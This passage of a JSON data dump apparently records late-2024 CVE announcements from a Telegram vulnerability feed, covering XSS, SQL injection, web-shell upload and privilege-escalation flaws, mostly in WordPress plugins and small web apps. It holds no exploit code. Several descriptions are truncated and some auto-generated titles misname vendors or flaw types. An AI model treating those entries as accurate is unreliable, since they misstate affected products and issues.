0000000000000000(0000) GS:ffff8881f6c00000(0000) knlGS:0000000000000000  \nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033  \nCR2: 00007f6ddaa3439e CR3: 0000000139764003 CR4: 0000000000770ef0  \nPKRU: 55555554  \nCall Trace:  \n   \n hci_read_local_codecs_sync net/bluetooth/hci_sync.c:4546 [inline]  \n hci_init_stage_sync net/bluetooth/hci_sync.c:3441 [inline]  \n hci_init4_sync net/bluetooth/hci_sync.c:4706 [inline]  \n hci_init_sync net/bluetooth/hci_sync.c:4742 [inline]  \n hci_dev_init_sync net/bluetooth/hci_sync.c:4912 [inline]  \n hci_dev_open_sync+0x19a9/0x2d30 net/bluetooth/hci_sync.c:4994  \n hci_dev_do_open net/bluetooth/hci_core.c:483 [inline]  \n hci_power_on+0x11e/0x560 net/bluetooth/hci_core.c:1015  \n process_one_work kernel/workqueue.c:3267 [inline]  \n process_scheduled_works+0x8ef/0x14f0 kernel/workqueue.c:3348  \n worker_thread+0x91f/0xe50 kernel/workqueue.c:3429  \n kthread+0x2cb/0x360 kernel/kthread.c:388  \n ret_from_fork+0x4d/0x80 arch/x86/kernel/process.c:147  \n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:32.000000Z"}, {"uuid": "b255c8a7-e896-46b7-8c7a-8d77f7f2dbcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50677", "type": "seen", "source": "https://t.me/cvedetector/12241", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50677 - A cross-site scripting (XSS) vulnerability in OroP\", \n  \"Content\": \"CVE ID : CVE-2024-50677 \nPublished : Dec. 6, 2024, 4:15 p.m. | 44\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in OroPlatform CMS v5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Search parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T18:08:02.000000Z"}, {"uuid": "85d5fb41-a13e-4125-8c8e-70ec04d3d68c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50427", "type": "seen", "source": "https://t.me/cvedetector/9262", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50427 - Devsoft Baltic O\u00dc SurveyJS Unrestricted File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50427 \nPublished : Oct. 29, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in Devsoft Baltic O\u00dc SurveyJS: Drag & Drop WordPress Form Builder.This issue affects SurveyJS: Drag & Drop WordPress Form Builder: from n/a through 1.9.136. \nSeverity: 9.9 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T10:35:08.000000Z"}, {"uuid": "e792df5c-23eb-4f4b-92c4-12cc259d0a52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50426", "type": "seen", "source": "https://t.me/cvedetector/9261", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50426 - Survey Maker Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50426 \nPublished : Oct. 29, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Survey Maker team Survey Maker allows Stored XSS.This issue affects Survey Maker: from n/a through 5.0.2. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T10:35:07.000000Z"}, {"uuid": "8137374a-472e-4350-8b09-e58f40b908eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50420", "type": "seen", "source": "https://t.me/cvedetector/9260", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50420 - aDirectory Unrestricted File Upload RCE\", \n  \"Content\": \"CVE ID : CVE-2024-50420 \nPublished : Oct. 29, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in adirectory aDirectory allows Upload a Web Shell to a Web Server.This issue affects aDirectory: from n/a through 1.3. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T10:35:06.000000Z"}, {"uuid": "e4c63d0d-f59a-49e6-b7a9-d74fd5d8a676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50481", "type": "seen", "source": "https://t.me/cvedetector/9259", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50481 - Bstone Demo Importer Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50481 \nPublished : Oct. 29, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : Incorrect Privilege Assignment vulnerability in Stack Themes Bstone Demo Importer allows Privilege Escalation.This issue affects Bstone Demo Importer: from n/a through 1.0.1. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T10:35:05.000000Z"}, {"uuid": "ecc84e6a-7b2e-4621-af4d-948502c32c9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50494", "type": "seen", "source": "https://t.me/cvedetector/9249", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50494 - Amin Omer Sudan Payment Gateway for WooCommerce Unrestricted File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50494 \nPublished : Oct. 29, 2024, 8:15 a.m. | 20\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in Amin Omer Sudan Payment Gateway for WooCommerce allows Upload a Web Shell to a Web Server.This issue affects Sudan Payment Gateway for WooCommerce: from n/a through 1.2.2. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T09:44:50.000000Z"}, {"uuid": "421fea06-174b-4b2e-95f3-c22f90a3f301", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50835", "type": "seen", "source": "https://t.me/cvedetector/10975", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50835 - KASHIPARA E-learning Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50835 \nPublished : Nov. 14, 2024, 5:15 p.m. | 38\u00a0minutes ago \nDescription : A SQL Injection vulnerability was found in /admin/edit_student.php in KASHIPARA E-learning Management System Project 1.0 via the cys, un, ln, fn, and id parameters. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T19:10:16.000000Z"}, {"uuid": "5bc3c4db-1f42-4e84-8119-e7d2068089d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50476", "type": "seen", "source": "https://t.me/cvedetector/9258", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50476 - GR\u00dcN spendino Spendenformular Missing Authorization Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-50476 \nPublished : Oct. 29, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : Missing Authorization vulnerability in GR\u00dcN Software Group GmbH GR\u00dcN spendino Spendenformular allows Privilege Escalation.This issue affects GR\u00dcN spendino Spendenformular: from n/a through 1.0.1. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T10:35:01.000000Z"}, {"uuid": "cfd11610-7a34-43eb-9836-ec718b4ee294", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50475", "type": "seen", "source": "https://t.me/cvedetector/9257", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50475 - Adobe Scott Gamon Missing Authorization Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50475 \nPublished : Oct. 29, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : Missing Authorization vulnerability in Scott Gamon Signup Page allows Privilege Escalation.This issue affects Signup Page: from n/a through 1.0. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T10:35:01.000000Z"}, {"uuid": "cbb94ecb-0b36-4a1f-8c6e-7b1be5696f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50490", "type": "seen", "source": "https://t.me/cvedetector/9255", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50490 - PegaPoll Missing Authorization vulnerabilit\", \n  \"Content\": \"CVE ID : CVE-2024-50490 \nPublished : Oct. 29, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : Missing Authorization vulnerability in Szabolcs Szecsenyi PegaPoll allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects PegaPoll: from n/a through 1.0.2. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T10:34:59.000000Z"}, {"uuid": "3db7b1c9-79b7-4f1f-b14f-a31177d0d18a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50485", "type": "seen", "source": "https://t.me/cvedetector/9254", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50485 - Udit Rawat Exam Matrix Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50485 \nPublished : Oct. 29, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : : Incorrect Privilege Assignment vulnerability in Udit Rawat Exam Matrix allows Privilege Escalation.This issue affects Exam Matrix: from n/a through 1.5. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T10:34:58.000000Z"}, {"uuid": "d62e8c4a-c668-47f1-bb0b-d74b39d9b1f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50480", "type": "seen", "source": "https://t.me/cvedetector/9252", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50480 - AZEXO Marketing Automation Unrestricted File Upload Web Shell Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50480 \nPublished : Oct. 29, 2024, 8:15 a.m. | 20\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in azexo Marketing Automation by AZEXO allows Upload a Web Shell to a Web Server.This issue affects Marketing Automation by AZEXO: from n/a through 1.27.80. \nSeverity: 9.9 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T09:44:55.000000Z"}, {"uuid": "ccdd3e87-5b9e-4fb0-b167-1154d9ebd2eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50052", "type": "seen", "source": "https://t.me/cvedetector/9251", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50052 - Mattermost Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-50052 \nPublished : Oct. 29, 2024, 8:15 a.m. | 20\u00a0minutes ago \nDescription : Mattermost versions 9.10.x <=<=<=\nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T09:44:54.000000Z"}, {"uuid": "cc79e260-ea23-4798-91c3-71fec9ac64be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50484", "type": "seen", "source": "https://t.me/cvedetector/9248", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50484 - Mahlamusa Multi Purpose Mail Form Remote File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50484 \nPublished : Oct. 29, 2024, 8:15 a.m. | 20\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in mahlamusa Multi Purpose Mail Form allows Upload a Web Shell to a Web Server.This issue affects Multi Purpose Mail Form: from n/a through 1.0.2. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T09:44:49.000000Z"}, {"uuid": "3d6e6692-b74c-4010-a09e-3153ed630c23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50831", "type": "seen", "source": "https://t.me/cvedetector/10996", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50831 - \"Kashipara E-Learning SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50831 \nPublished : Nov. 14, 2024, 6:15 p.m. | 39\u00a0minutes ago \nDescription : A SQL Injection was found in /admin/admin_user.php in kashipara E-learning Management System Project 1.0 via the username and password parameters. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T20:00:50.000000Z"}, {"uuid": "f6cd8105-e65e-4951-871a-e93db02b9d41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50983", "type": "seen", "source": "https://t.me/cvedetector/11193", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50983 - FlightPath Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50983 \nPublished : Nov. 15, 2024, 10:15 p.m. | 34\u00a0minutes ago \nDescription : FlightPath 7.5 contains a Cross Site Scripting (XSS) vulnerability, which allows authenticated remote attackers with administrative rights to inject arbitrary JavaScript in the web browser of a user by including a malicious payload into the Last Name section in the Create/Edit Faculty/Staff User or Create/Edit Student User sections. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-16T00:09:57.000000Z"}, {"uuid": "43826314-1a5a-4429-8cff-f59573905279", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50655", "type": "seen", "source": "https://t.me/cvedetector/11120", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50655 - Emlog Pro Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50655 \nPublished : Nov. 15, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : emlog pro <=2.3.18\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T19:07:47.000000Z"}, {"uuid": "497aa8b2-367e-4ab4-ab8b-0b1b095f2855", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50654", "type": "seen", "source": "https://t.me/cvedetector/11119", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50654 - Lilishop Coupon Overpurchasing Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-50654 \nPublished : Nov. 15, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : lilishop <=4.2.4\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T19:07:43.000000Z"}, {"uuid": "356ece9c-928b-4730-81fd-29a5f2704e9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50800", "type": "seen", "source": "https://t.me/cvedetector/11142", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50800 - M2000 Smart4Web Cross Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-50800 \nPublished : Nov. 15, 2024, 6:15 p.m. | 42\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in M2000 Smart4Web before v.5.020241004 allows a remote attacker to execute arbitrary code via the error parameter in URL \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T19:58:20.000000Z"}, {"uuid": "a7fedadf-17e2-4b56-b5af-f48603f107b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50653", "type": "seen", "source": "https://t.me/cvedetector/11123", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50653 - CRMEB DNS Amplification\", \n  \"Content\": \"CVE ID : CVE-2024-50653 \nPublished : Nov. 15, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : CRMEB <=5.4.0\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T19:07:50.000000Z"}, {"uuid": "d783054f-7796-47a4-bfca-3bd9c9ad25bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50355", "type": "seen", "source": "https://t.me/cvedetector/11105", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50355 - LibreNMS Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-50355 \nPublished : Nov. 15, 2024, 4:15 p.m. | 44\u00a0minutes ago \nDescription : LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. User with Admin role can edit the Display Name of a device, the application did not properly sanitize the user input in the device Display Name, if java script code is inside the name of the device Display Name, its can be trigger from different sources. This vulnerability is fixed in 24.10.0. \nSeverity: 4.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T18:17:25.000000Z"}, {"uuid": "f5f8f330-92f2-4c1e-b7b7-c2c6639952a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50724", "type": "seen", "source": "https://t.me/cvedetector/11104", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50724 - KASO SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50724 \nPublished : Nov. 15, 2024, 4:15 p.m. | 44\u00a0minutes ago \nDescription : KASO v9.0 was discovered to contain a SQL injection vulnerability via the person_id parameter at /cardcase/editcard.jsp. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T18:17:21.000000Z"}, {"uuid": "0c9bb32e-3260-4690-a043-0be4a4491d97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50652", "type": "seen", "source": "https://t.me/cvedetector/11103", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50652 - Java Shop Unvalidated File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50652 \nPublished : Nov. 15, 2024, 4:15 p.m. | 44\u00a0minutes ago \nDescription : A file upload vulnerability in java_shop 1.0 allows attackers to upload arbitrary files by modifying the avatar function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T18:17:20.000000Z"}, {"uuid": "8eb6a151-9fe0-482c-acb9-d2c77b1faa22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50651", "type": "seen", "source": "https://t.me/cvedetector/11102", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50651 - Java Shop Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-50651 \nPublished : Nov. 15, 2024, 4:15 p.m. | 44\u00a0minutes ago \nDescription : java_shop 1.0 is vulnerable to Incorrect Access Control, which allows attackers to obtain sensitive information of users with different IDs by modifying the ID parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T18:17:19.000000Z"}, {"uuid": "a51ff8b5-4f2f-4457-b856-e14b6e591ac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50649", "type": "seen", "source": "https://t.me/cvedetector/11101", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50649 - Python_book Unauthenticated Arbitrary File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50649 \nPublished : Nov. 15, 2024, 4:15 p.m. | 44\u00a0minutes ago \nDescription : The user avatar upload function in python_book V1.0 has an arbitrary file upload vulnerability. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T18:17:19.000000Z"}, {"uuid": "2d2a2e07-758a-4e57-bc6c-27f377a21c78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50648", "type": "seen", "source": "https://t.me/cvedetector/11100", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50648 - Apache yshopmall Remote File Injection/Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50648 \nPublished : Nov. 15, 2024, 4:15 p.m. | 44\u00a0minutes ago \nDescription : yshopmall V1.0 has an arbitrary file upload vulnerability, which can enable RCE or even take over the server when improperly configured to parse JSP files. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T18:17:18.000000Z"}, {"uuid": "da372ad4-1e40-4f3a-8e54-1e595b311ce9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50350", "type": "seen", "source": "https://t.me/cvedetector/11109", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50350 - LibreNMS Stored Cross-Site Scripting (XSS) Vulnerability in Port Settings page\", \n  \"Content\": \"CVE ID : CVE-2024-50350 \nPublished : Nov. 15, 2024, 4:15 p.m. | 44\u00a0minutes ago \nDescription : LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the \"Port Settings\" page allows authenticated users to inject arbitrary JavaScript through the \"name\" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the \"Port Settings\" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions. This vulnerability is fixed in 24.10.0. \nSeverity: 4.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T18:17:28.000000Z"}, {"uuid": "68149a60-4acc-4c7b-881b-f1ad07ba72fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50650", "type": "seen", "source": "https://t.me/cvedetector/11106", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50650 - \"python_book 